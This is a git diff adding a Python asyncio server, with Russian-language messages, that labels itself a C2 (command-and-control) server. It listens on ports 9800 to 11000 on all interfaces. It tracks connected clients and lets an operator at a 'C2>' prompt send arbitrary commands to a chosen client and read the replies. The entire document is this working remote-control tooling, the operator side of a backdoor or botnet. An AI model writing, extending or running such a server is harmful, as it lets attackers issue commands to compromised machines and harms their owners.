diff --git a/server.py b/server.py new file mode 100644 index 0000000..cc94055 --- /dev/null +++ b/server.py @@ -0,0 +1,48 @@ +import asyncio + +clients = {} # {порт: (reader, writer)} + +async def handle_client(reader, writer): + addr = writer.get_extra_info("peername") + port = writer.get_extra_info("sockname")[1] + clients[port] = (reader, writer) + + print(f"[+] Новое подключение с {addr}, порт {port}") + + try: + while True: + command = await asyncio.get_event_loop().run_in_executor(None, input, "C2> ") + if command.lower() in ["exit", "quit"]: + break + elif command == "list": + print("[*] Активные клиенты:") + for p in clients: + print(f" - Порт {p}") + elif command.startswith("send "): + _, target_port, cmd = command.split(" ", 2) + target_port = int(target_port) + if target_port in clients: + r, w = clients[target_port] + w.write(cmd.encode() + b"\n") + await w.drain() + response = await r.readline() + print(f"[{target_port}] {response.decode().strip()}") + else: + print(f"[-] Нет клиента на порте {target_port}") + except Exception as e: + print(f"[-] Ошибка: {e}") + + writer.close() + await writer.wait_closed() + del clients[port] + print(f"[-] Клиент отключился: {addr}, порт {port}") + +async def main(): + tasks = [] + for port in range(9800, 11000): + server = await asyncio.start_server(handle_client, "0.0.0.0", port) + tasks.append(server.serve_forever()) + print("[+] Сервер C2 запущен на портах 9800-11000") + await asyncio.gather(*tasks) + +asyncio.run(main())